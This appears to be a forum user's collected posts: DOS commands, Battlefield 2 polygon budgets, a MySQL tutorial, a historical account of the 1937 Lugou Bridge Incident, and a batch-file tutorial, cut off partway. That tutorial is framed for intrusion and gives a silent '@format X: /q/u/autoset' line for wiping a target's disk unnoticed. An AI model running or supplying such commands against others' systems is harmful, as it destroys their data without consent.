由 S-22 发布的全部内容
-
简单的。。。只有 dir, copy, delete, mem, fdisk, format, attrib, type, move, rename 了。
-
BF2 Mod Polycount Guidelines Please note that these figures are still preliminary and it would be advisable for teams to initially target their models to be 75-80% of the stated recommendations. Also of note is the fact that these figures are intended to get the most out of the Battlefield 2 engine, which is designed to support 100+ players in expansive environments with a mix of urban and open settings. VehiclesRec. Max. Polygon count1P-cockpit poly countClass 0, i.e. Buggies and civilian vehicles4000*Integrated with original mesh and textureClass 1, i.e. Hummer or Attack Heli. Airplane5500*1000**Class 2, i.e. Tank6000*1000Class 3, i.e. AA-Vehicles Or Transport Heli7000*1000Class 4, i.e. LCAC (Hovercraft)8000*1000* incl. integrated Kit parts in the mesh, ** Vehicles with entire interior could use up to 2000, i.e. Hummer Number of vehicle LOD steps and reduction in poly countLOD0100%LOD140%LOD215%LOD32-4% Player Models Rec. Max. Polygon count8000 - 10000 1P WeaponsRec. Max. Polygon count3P weaponHeavy MG400040% of 1PAssault rifle300040% of 1PPistol150040% of 1PGrenade100040% of 1PKnife100040% of 1P BuildingsRec. Max. Polygon countHouse small (i.e sheds)800House Medium (i.e village houses)4000House Huge (i.e City houses)6000 Number of building LOD steps and reduction in poly countLOD0100%LOD150%LOD210% Misc. ObjectsSmaller object doesn’t have any strict rules since it is impossible to categorize them in to groups with a strict poly count.
-
mysql安装使用 有很多朋友虽然安装好了mysql但却不知如何使用它。在这篇文章中我们就从连接MYSQL、修改密码、增加用户等方面来学习一些MYSQL的常用命令。 一、连接MYSQL。 格式: mysql -h主机地址 -u用户名 -p用户密码 1、例1:连接到本机上的MYSQL。 首先在打开DOS窗口,然后进入目录 mysqlbin,再键入命令mysql -uroot -p,回车后提示你输密码,如果刚安装好MYSQL,超级用户root是没有密码的,故直接回车即可进入到MYSQL中了,MYSQL的提示符是:mysql> 2、例2:连接到远程主机上的MYSQL。假设远程主机的IP为:110.110.110.110,用户名为root,密码为abcd123。则键入以下命令: mysql -h110.110.110.110 -uroot -pabcd123 (注:u与root可以不用加空格,其它也一样) 3、退出MYSQL命令: exit (回车) 二、修改密码。 格式:mysqladmin -u用户名 -p旧密码 password 新密码 1、例1:给root加个密码ab12。首先在DOS下进入目录mysqlbin,然后键入以下命令 mysqladmin -uroot -password ab12 注:因为开始时root没有密码,所以-p旧密码一项就可以省略了。 2、例2:再将root的密码改为djg345。 mysqladmin -uroot -pab12 password djg345 三、增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 格式:grant select on 数据库.* to 用户名@登录主机 identified by "密码" 例1、增加一个用户test1密码为abc,让他可以在任何主机上登录,并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入MYSQL,然后键入以下命令: grant select,insert,update,delete on *.* to test1@"%" Identified by "abc"; 但例1增加的用户是十分危险的,你想如某个人知道test1的密码,那么他就可以在internet上的任何一台电脑上登录你的mysql数据库并对你的数据可以为所欲为了,解决办法见例2。 例2、增加一个用户test2密码为abc,让他只可以在localhost上登录,并可以对数据库mydb进行查询、插入、修改、删除的操作(localhost指本地主机,即MYSQL数据库所在的那台主机),这样用户即使用知道test2的密码,他也无法从internet上直接访问数据库,只能通过MYSQL主机上的web页来访问了。 grant select,insert,update,delete on mydb.* to test2@localhost identified by "abc"; 如果你不想test2有密码,可以再打一个命令将密码消掉。 grant select,insert,update,delete on mydb.* to test2@localhost identified by ""; (下篇) 在上篇我们讲了登录、增加用户、密码更改等问题。下篇我们来看看MYSQL中有关数据库方面的操作。注意:你必须首先登录到MYSQL中,以下操作都是在MYSQL的提示符下进行的,而且每个命令以分号结束。 一、操作技巧 1、如果你打命令时,回车后发现忘记加分号,你无须重打一遍命令,只要打个分号回车就可以了。也就是说你可以把一个完整的命令分成几行来打,完后用分号作结束标志就OK。 2、你可以使用光标上下键调出以前的命令。但以前我用过的一个MYSQL旧版本不支持。我现在用的是mysql-3.23.27-beta-win。 二、显示命令 1、显示数据库列表。 show databases; 刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 2、显示库中的数据表: use mysql; //打开库,学过FOXBASE的一定不会陌生吧 show tables; 3、显示数据表的结构: describe 表名; 4、建库: create database 库名; 5、建表: use 库名; create table 表名 (字段设定列表); 6、删库和删表: drop database 库名; drop table 表名; 7、将表中记录清空: delete from 表名; 8、显示表中的记录: select * from 表名; 三、一个建库和建表以及插入数据的实例 drop database if exists school; //如果存在SCHOOL则删除 create database school; //建立库SCHOOL use school; //打开库SCHOOL create table teacher //建立表TEACHER ( id int(3) auto_increment not null primary key, name char(10) not null, address varchar(50) default '深圳', year date ); //建表结束 //以下为插入字段 insert into teacher values('','glchengang','深圳一中','1976-10-10'); insert into teacher values('','jack','深圳一中','1975-12-23'); 注:在建表中(1)将ID设为长度为3的数字字段:int(3)并让它每个记录自动加一:auto_increment并不能为空:not null而且让他成为主字段primary key(2)将NAME设为长度为10的字符字段(3)将ADDRESS设为长度50的字符字段,而且缺省值为深圳。varchar和char有什么区别呢,只有等以后的文章再说了。 (4)将YEAR设为日期字段。 如果你在mysql提示符键入上面的命令也可以,但不方便调试。你可以将以上命令原样写入一个文本文件中假设为school.sql,然后复制到c:\下,并在DOS状态进入目录\mysql\bin,然后键入以下命令: mysql -uroot -p密码 如果成功,空出一行无任何显示;如有错误,会有提示。(以上命令已经调试,你只要将//的注释去掉即可使用)。 四、将文本数据转到数据库中 1、文本数据应符合的格式:字段数据之间用tab键隔开,null值用\n来代替. 例: 3 rose 深圳二中 1976-10-10 4 mike 深圳一中 1975-12-23 2、数据传入命令 load data local infile "文件名" into table 表名; 注意:你最好将文件复制到\mysql\bin目录下,并且要先用use命令打表所在的库 。 五、备份数据库:(命令在DOS的\mysql\bin目录下执行) mysqldump --opt school>school.bbb 注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 后记:其实MYSQL的对数据库的操作与其它的SQL类数据库+大同小异,您最好找本将SQL的书看看。我在这里只介绍一些基本的,其实我也就只懂这些了,呵呵。最好的MYSQL教程还是“晏子“译的“MYSQL中文参考手册“不仅免费每个相关网站都有下载,而且它是最权威的。可惜不是象"PHP4中文手册"那样是chm的格式,在查找函数命令的时候不太方便。
-
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Favorites
-
芦沟桥事变及平津沦陷(摘录) 王冷斋 冲突的发生及局部交涉的经过 这次芦沟桥事变,是日本军阀用其惯技,向中国的军队再三挑衅而爆发的:一九三七年七月七日之夜的十点钟时,日军一木清直所部的一中队,在宛平县境的芦沟桥附近实行夜间演习,当它集合归队的时候,突然借口日兵一名失踪,要求入宛平县城搜索,并开枪示威。但中国当地驻军和宛平县政府,未允其无理要求:一面由县长兼专员王冷斋通知驻军金振中营长,对城防切实戒备;一面则命令警察保安队代为搜寻,可是并无所获。王县长乃亲赴北平市政府和冀察外交委员会报告。 据王氏在《芦沟桥事变回忆录》中说:“报告后,当即奉命赴日本特务机关向机关长松井交涉,到达日军机关部时已午夜二时左右,斯时外委会主席魏宗瀚、委员林耕宇、绥署交通处副处长周永业、日特务机关长松井、顾问樱井均在座,当就本案与松井等商谈。先半小时松井已得报告,谓失踪日兵均已归队,惟须明了如何失踪情形,以便谈判。予当反诘以如何失踪,只须讯明该兵,即可明了;即为周到起见,由双方派员调查亦可。当即决定予与周、林、樱井、并日通识官斋藤五人前往。正拟出发间,得报告:驻丰台日军数百人,全部武装,开赴芦沟桥,事态已见严重。同时,日军联队长牟田口并请予同林耕宇前往一谈,当即与林赴日兵营,与牟接洽。牟见予即询:王专员此去,能否负处理事件之全责?予答曰:顷间在机关部所商,系负调查使命,事态未经明了,尚谈不到处理;此事责任应由何方担负,此时亦不能臆断。牟复谓:假使事态明了,总以当地处理为宜。日本方面现已决定,由森田联队附全权处理,因事机紧迫,势或不及请示,阁下为地方行政长官,发生事件,系在贵署管辖境内,自有权宜处理之权。予仍以先事调查再谈处理为原则,对牟所请,坚决拒绝。如此谈判,约半小时,牟见无法,乃允先行调查。予同林出日兵营时,见日兵三百余人,分载大汽车八辆,已向芦沟桥出动,乃急会同周永业、樱井、斋藤等出发。……当车抵宛平城东北角沙岗(距城约一里),见该处已为日兵占据布防,士兵多数伏卧,均作射击准备。斯时突有日特务机关部辅佐官寺平奔至车前,阻止前进,并出地图向予云:现事态已十分严重,不及调查谈判,应请贵专员迅速处理,下令城内驻军向西门外撤退,日军进至东门城内数十米突地点,再行谈判。予答云:此系在贵机关部商定先从调查入手,适间牟田口所求处理责任,我已拒绝,贵辅佐官所云,离题太远,究奉何方命令,本人实未明了。寺平当谓:平日日军均可穿城而过,已有先例,何今日演习不能进城?予当反诘:恐尔来华不久,尚未明了此间情况(寺平系接滨田任,不及三月)。向来日军演习,均在野外,从未有一次穿城而过;尔所谓先例,请指出某月某日事实,以为佐证。寺平语塞,遂恼羞成怒云:此项要求,系奉命办理,事在必行!请君见机而作,以免危险。同时,森田即请予与林君下车,指示日军阵容,枪炮并列,竟在对手无寸铁之予等示威。森田并向林云:要请王专员迅速决定,十分钟内,如无解决办法,严重事件立即爆发,枪炮无眼,殊为君等危!予当时虽自揣身陷日阵,备受威胁,但责任所在,生死早置之度外,当即严辞拒绝。谓:仅奉命调查,他非所知,危险更无所顾虑。且第一步调查办法,系在特务机关部决定,前后方不应矛盾如是。此处非谈判之所,如君等(指森田、寺平)依照后方决定原则办理,即须在城内从容相商,否则一切责任应由君等负之。森田、寺平见威吓不成,乃自行商定,由寺平同予及林君进城谈判:进城后,周永业、樱井、斋藤等已先至,当在专员公署谈判;未五分钟,(时为四时五十分),而城外枪声突发,枪弹纷纷掠屋顶而过。据报,日军已开始向我射击。予当以电话向北平报告开火情形,一面仍同樱井等加紧谈判。双方射击约一小时,森田忽派人持刺来求派员出城面谈,当经商定双方下令停止射击,由林耕宇君与寺平缒城而出,与森田面商。旋据报告,并无结果;林等即返平报告。而双方复继续射袭,日军并以迫击炮袭击城内,双方均有死伤。迄午后四时,牟田口派人携函由城外乡民绕道从西门转递进城,请予与吉团长星文或金营长振中出城亲商,予与吉同以未便擅离职守,却之。五时,牟复来函,要求三事:(一)限即日下午八时止,我军撤退河东,日军亦撤退河西,逾时即实行以大炮攻城;(二)通知城内人民迁出;(三)在城内之日顾问樱井,通讯官斋藤等,请令其出城。予当答以:(一)本人非军事人员,对于撤兵一节,未便答复:(二)城内人民,自有处理办法,勿劳代为顾虑;(三)樱井等早已令其出城,惟彼等仍愿在城内谈商,努力于事件之解决。斯时枪声已停,双方均抱沉静态度,以待事件之推演。至午后六时,时钟甫鸣,予忽思及专署地点,实为攻击目标,未便久驻,日樱井等均系辅助办理外交,并非军事人员,自当尽予力之所及,切实保护,勿令罹难。因此在附近另觅民房一所办公,并请樱井等同往。六时五分离开专署,……甫出大门约十余公尺,而日人大炮已连珠而至,每炮均落专署之内;……营长金振中受伤。……自是而后,战达三小时,平芦电话线为炮火摧毁,已不能通,命令、报告,均由丰台转达。斯时,我西宛驻军一旅,由何基沣率领,已开到八宝山,向王界店、大井村方面截断日人后路。九时以后,我军战况甚佳,已将回龙庙及刘庄一带日军驱走,日军伤亡,倍于我军。斯时接到北平命令,谓已向日方提出交涉,限日军即晚向丰台撤退,否则我军即行进攻。同时,牟田口复直接至函与予,请派员协商停战办法,予以北平方面已决定原则,对牟函不便答复。十时以后,我方沉寂,……十二时,我军实行夜袭,将铁路桥附近日军歼灭殆尽。 至九日三时,由丰台转到冯主席治安、秦市长德纯电话,谓已与日方交涉妥协三项:(一)双方立即停止射击;(二)日军撤退丰台,我军撤向芦沟桥迤西地带;(三)城内防务由保安队担任,人数约二百名至三百名,定今早九时接防。余奉电后,当即通知驻卢吉团长知照。乃至六时,日军突以大炮攻城,达百余发;此为妥协声中日方背约弃信之第一次。余一面即电北平报告,请向日军交涉;经电询日方,据云,系为掩护退却,一切仍遵照北平所商三项原则办理,并云日军已开始撤退。予当派便衣队警赴城外侦察,据报:五里店日军,确已渐次向大井村方面撤退。同时,北平来电,亦谓保安队已于晨间六时,向芦沟桥出发,计程九时可到;乃候至十时,保安队仍无消息,经派员探明,谓该队到大井村后,为日军所阻,不能前进,致生冲突,我方阵亡士兵一名,伤数名。余当即电平,请向日方交涉制止,并履行诺言。至午后三时,仍无结果。斯时,北平所派双方监视撤兵委员已到,计日方为中岛顾问,我方为绥署高级参谋周思靖,外委会专员林耕宇偕来。抵县后,即分两组,实行监视撤兵:甲组担任回龙庙及铁桥一带,委员为周永业及樱井;乙组担任大井村五里店及东北角沙岗一带,委员为周思靖及中岛;双方分途出发,至四时返城,均谓已监视撤退完毕。惟保安队迄未到来,余当请周思靖赴大井村,与河边旅团长接洽,中岛亦同往。嗣由周等带进队兵五十名,请先行接防,再谈办法;此为日方背约弃信之第二次。余以北平双方所规定之原则内,接防保安队人数系为二百至三百名,今只到五十名,即连同本县队警,亦不敷城防分配,当即拒绝接收;一面通知吉团长注意,一面并电话北平交涉,(此时电话线已修竣,平芦恢复通话)。约半句钟,得北平复电,谓已与天津日驻屯军司令部交涉定妥,所有出发保安队,仍可全数进城,惟所带机关枪,则另派员押运回平。六时左右,保安队全部进城,惟仍不足二百名之数。据云,每架机关枪,系由原队兵三人运回北平,故人数减少;该队由团附王挥尘、营长贾朝率领。予与王贾面洽分配防务后,吉团全部移驻河西。斯时,日军河边旅团长专派笠井顾问、广濑秘书、及爱泽通译官三人,携香宾酒来县,向余面致慰劳,各人并面尽一杯,以祝此不幸事件之得以短期解决,并盼以后永远勿再发生。据国际惯例,双方既饮香宾,即属私好之表征;乃笠井等甫去未久,余即查明城外东北角沙岗日兵尚有若干未撤尽,且有去而复返者,数目约达三百余人。余是时大为疑虑,除电话北平报告外,并通知吉团长、王团附,切实注意戒备。该处监视撤兵委员本为周思靖(现天津伪警察局长)与中岛,乃周已先返北平,中岛亦匆匆欲行,予以此事恐有余波,因坚留其在城内协助处理,且彼本系监视撤兵人员,今既发现日军尚未全撤,则彼之责任尚未尽,自有留县之必要;中岛意虽不怿,只得暂留。 至翌晨二时三十分,东北角日军忽开枪射击,复图攻城;此为日方背约弃信之第三次。幸我军事先已有戒备,余除电北平报告外,即向中岛交涉,……经中岛电询北平旅团部及联队部后,答称:日军旅团部亦已闻报,实系双方哨兵因误会开枪,日方绝无攻城企图等语。一小时后,枪声已停;据北平电话,令与中岛同往商决外交未了事件。余即于夜间七时与中岛同车赴平,车过县东北角铁路涵洞处,见日军步哨未动,且有日兵三人阻止前进,经告以赴平接洽停战办法,始放行。 七时半,同中岛抵平,即与冯主席、秦市长面晤,当报告日军未肯全撤,非彻底交涉,实不能视为了结。嗣樱井、中岛、斋藤等均到秦宅会商!我方为秦市长德纯、程旅长希贤、周参谋思靖及余四人;日方为樱井、中岛两顾问及斋藤秘书三人。余首即提出东北角沙岗日军未撤开始,请注意讨论。据斋藤云:未撤日军,系为阵亡死尸两具,尚未觅得,故留此项部队,在附近搜索,并无他意。余当谓:搜索事件,无需许多部队,且更不必携带机关枪迫击炮等兵器,如临大敌。斋藤云:因恐我方射击,故不得不多留部队,以资警戒。秦市长、程旅长均谓:倘系单纯搜索尸体,此事甚易,我方亦可帮同办理。当经商定组织搜索队,委员六人,我方由二十九军、冀北保安队及专员公署各派一人,日方为樱井、中岛、笠井三顾问,共同组织,并由二十九军及保安队各派士兵十名,日军派二十名,均系徒手,由六委员率领,就芦沟桥附近各地,尽量寻觅,限定时间,无论发现与否,日军均应在限定时间内撤荆议定之后,双方均表同意,定于午后一时出发。 乃樱井、中岛、笠井三人,忽乘机离席,往会客室说话,竟一去不返。同时各方报告,接连而至,谓日军已由天津、通县、古北口、榆关等处,陆续开到,且有飞机、大炮、坦克车、铁甲车等多辆,开到丰台,已将大井村、五里店占领,平芦公路业已阻断……。是日方之所谓搜索尸体,显系饰词缓兵,至此已暴露无遗;此为日方背约弃信之第四次。余接各方报告后,……即由长辛店返县办理一切,并率本县队警协助守城。自十二日后,与日军接触数次,但仅一小冲突,因北平方面仍在努力于事件之解决也。乃至二十日午后三时,于和平声浪正在弥漫之际,日军复以大炮攻城,且轰击长辛店,共达数百发,宛平城内各机关及民房几全被毁,死伤多人;长辛店附近落数十弹,死伤平民二十余人,吉团长星文及县保安大队附孙培武,均于是役受伤;吉裹创后,仍奋勇抗战,始终不退。于是芦沟桥事件也就愈趋恶化,事态也日益显得严重起来。 事态严重化和战端的扩大 这一期间,平津中日双方虽然仍不断的在进行和平协商,可是日军已积极的准备军事行动,关东军也陆续从北宁路开入关内来;日陆军省并改派香月清司来代替田代任华北驻屯军司令。宋哲元从乐陵反津以后,于十八日和香月会谈,但也并无结果;盘据芦沟桥车站的日军也始终未撤退。及至二十五日,日军乘二十九军三七七师与一百三十二师换防之际,突然进占团河;二十六日,且派骑兵往南苑附近华方阵地侦察,致又引起新的冲突,死日兵一名;加之二十五日下午五时,从天津开抵廊坊之日军,又与三十八师刘振山旅发生冲突,至次日晨零时三十分,日军即用机关枪向华军射击,复以钢甲车挺进,冲突越发扩大;日方即以此为借口,以最后通牒致二十九军军长宋哲元,要求两点:(一)将驻芦沟桥及八宝山附近之三十七师,于二十七日正午前退至长辛店;(二)将北平城内之三十七师、与西苑该师之部队,同时退往平汉路以北区域,至二十八日正午为止,须迁至永定河以西地带,嗣后仍须将此项军队,运往保定方面。 从这些地方看来,显然是表现着日方有计划的企图控制平津,以便进一步用压力加诸冀察军政当局,而使之与中央分离。但是宋哲元于二十七日下午五时给日方的复牒,却是个否定的回答。于是事态更加显得严重和扩大。而二十六日晚七时起,平郊日军即强行入城,与华军发生巷战;至二十七日,北平四郊的战事均已爆发;所以宋哲元于拒绝日方的要求之后,也就不得不下令二十九军开始抵抗。及至二十八日,宋氏下令全线总攻。至是交涉了二十多日的芦沟桥案,遂完全陷于破裂,中日战争就从局部的抗战,扩展了开来,而全国性、全面性的战争,至是才渐次确定。 芦沟桥与华北之战略形势 然而日军为什么在芦沟桥发动战争呢?这和日本企图侵占华北的政略和战略有何关系?这是我们必须要认识清楚的。 日军在芦沟桥制造冲突,是在一九三六年“九·一八”的丰台事件以后,这就明白隐示着日军有进一步的占据芦沟桥的企图,使与丰台事件同样的取得了一个重要的军事据点;为的是芦沟桥与丰台同样是北平的门户,是华北的咽喉,它据着平津及冀察的生命线,而位于平汉路与北宁路之交接点,又为平保公路所经之地。所以在军事上,日本必须据有丰台与宛平,才足以控制平津。在芦沟桥事变之前一年(一九三六年冬),日军即图在芦沟桥附近购地,以便在芦沟桥、长辛店及宛平间置一军事堡垒,以与丰台驻军成为犄角,来监视华方在宛平、永定河一带的驻军;但这事终于因民众和冀察当局之制止,未能实现。然而却也就从此隐伏着进袭芦沟桥的契机。 很显然的,日本帝国主义既要进行华北的分离运动,那么,它就必须在军事上造成以控制华北的首脑——平津的形势,才能遂行其政治阴谋;芦沟桥在地理上既占着很重要的地位,是以一旦日军占据芦沟桥,平汉交通为之堵塞,而将使北平进退失据,此举殆无异于切断华北之首脑——平津;这末一来,日本在华北即取得了政治和军事的两重控制。 同时,芦沟桥形势之优越,尚不止足以切断北平的命脉,并且还有控制丰台的优势,使丰台的日军有后顾之忧,也使其感到有受与南苑华军夹击之虑。这就促成了日军急于夺获芦沟桥的意图。因之,从丰台事件起,日军即对华方表示其对于芦沟桥、西苑、南苑及长辛店各地驻有军队之不满,而希望二十九军自动撤退,但均为二十九军所拒绝。所以芦沟桥事变一发生,日方即积极从事布防,先图夺得芦沟桥来和丰台形成犄角,然后以平津间的铁路为纽带,以北宁路为后方,而造成内线作战之方式,来威胁平津,并以对付津浦、平汉两路之华方部队。 在芦沟桥事变之初头,日军首先占据宛平东北二三里的高地——沙岗,显然就是先造成夺取芦沟桥之初步形势,而日军之一再违约,不肯从沙岗撤退,也纯然是为了这个原故;因沙岗能控制平汉与北宁之接口,而且是平保公路底必经之地,所以沙岗一旦被占,芦沟桥与宛平也就直接受到威胁了。 其实,自从日本占据东北四省以来,就已经开始企图造成包围华北的形势,特别是成为华北与西北的门户之冀察及平津。它的计划:首先是以秦皇岛为根据地的海军,协同热河、察北的陆军及伪军,造成了两面的包围;另外则从绥远发动伪军来造成三面大包围的形势。可是绥远伪蒙军在百灵庙一带的惨败,跌断了它的右翼。因之,它只有先从左翼以北宁为根据来掠取平津,以期夺得华北之心脏,然后再分三路:东路沿平津线取山东,中路沿平汉线取河南,西路则由平绥路出南口以进窥察哈尔、山西和绥远。这次芦沟桥战事的发动,不用说正是它企图用政略来分离华北失败之后,而以军事冒险来图达到这一目的的开始。 所以在芦沟桥事变爆发以后,日军即开始组织它底战略行动,分三路运输军火和军队来集中平津;一路是从关外以北宁路为动脉,而向西南输运;一路从热河以平古大道(从古北口到北平)向南输运;一路则从塘沽海口向西输运。同时,也就把事件扩大,而加强其左翼,用冀东为根据地来展开对平津的包围。 在中国方面,因为自从“九·一八”以来,就没有很好的在华北作国防的准备,加之以受塘沽协定及种种政治上的约束,所以使平津的门户洞开,因之,芦沟桥的战斗,也就反而让日方获得暂时的优势了。 平津陷落前后 芦沟桥冲突的严重化,已演变成激烈的战端,因之,二十七日宋哲元既拒绝日方的要求后,平津的形势就顿呈紧张起来;宋氏当即以一百三十二师师长赵登禹为南苑指挥官,并令三十八师之董升堂部袭击丰台。二十八日,五里店、大井村附近之日军,即被由芦沟桥、八宝山一带出动的华军所驱除,而向丰台遗退。只有南苑方面,日军以全力猛扑,复有日机二十架助战,致使华军反攻丰台之举,不易完成;且在日机之猛烈轰炸下,南苑华军终以实力单薄而不支,致副军长兼军官教育团教育长佟麟阁和师长赵登禹,均于是役殉国。 南苑的战事既失利,而芦沟桥、宛平及长辛店复被日军大炮猛轰,损毁极重,华军遂于二十九日相继撤退,而向良乡、涿州一带集中。嗣后八宝山一带的华军,亦终于为日军所逼退,日军旋即向门头沟方面出动,造成了包围北平的形势。宋哲元因时局的急剧变化,不得不于二十八晚率同秦德纯等到保定指挥,离平时手谕张自忠继任北平市长兼代理冀察政务委员会委员长,李文田任天津市长。 但是宋氏虽然离平,而平、津附近的战事,依然在剧烈进行中:通县、大沽及天津两站、北平西郊……等处,均有激战,三十七师师长冯治安,且在芦沟桥前线指挥;北苑一带华军,则由独立三十九旅旅长阮玄武率领向南口撤退,重新布置新阵地。未几,北平城内华军因众寡悬殊,为保全实力起见,遂退出城外,待机反攻。 二十九日晨,天津日驻军相继出动,与华方保安队发生激战,该保安队由李文田、刘家鸾指挥,激战终日,入晚才渐渐休止。是日日机终日甚为活跃,到处轰炸,南开大学即于是役被日机所毁;同时,天津市民罹难者亦达二千人。 三十日晨,天津与北平同样发生激变,至六时,枪声即已停止,警察四千人奉令解除武装,驻军则退至静海一带。于是天津也与北平一样于骤变中陷落。这都是冀察及二十九军当局一向因循敷衍,没有适当准备的结果。 不过,在这时期中,在日军的后方也有着个严重的变化,那就是通县伪保安队一千余人的反正。 (选自《芦沟桥事变》《文汇年刊》1939年5月出版)
-
前言 最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们. 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一.简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:\back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [[Drive:][Path] FileName [batchParameters]] [:label [arguments]] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [[drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 